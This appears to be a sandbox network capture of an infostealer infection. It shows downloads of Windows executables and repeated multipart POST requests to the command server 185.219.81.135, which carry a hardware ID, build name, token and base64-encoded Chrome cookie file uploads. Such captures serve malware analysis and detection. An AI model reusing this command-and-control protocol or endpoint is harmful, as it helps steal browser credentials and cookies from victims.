00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.219.81.135Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 185.219.81.135Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 37 36 44 31 38 33 46 34 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 2d 2d 0d 0a Data Ascii: ------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="hwid"D176D183F4503012343576------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="build"LogsDiller------FIEHIIIJDAAAAAAKECBF--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.219.81.135Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"browsers------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGDAAFBKEBGDHDBKEHost: 185.219.81.135Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="message"plugins------FHCBGDAAFBKEBGDHDBKE--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: 185.219.81.135Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 2d 2d 0d 0a Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="message"fplugins------IJKFCFHJDBKKFHIEHIDG--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 185.219.81.135Content-Length: 8263Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/sqlite3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFIIHost: 185.219.81.135Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKFHIIEHIEGDHJJJKFII--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.219.81.135Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file"------GCBGCAFIIECBFIDHIJKF--
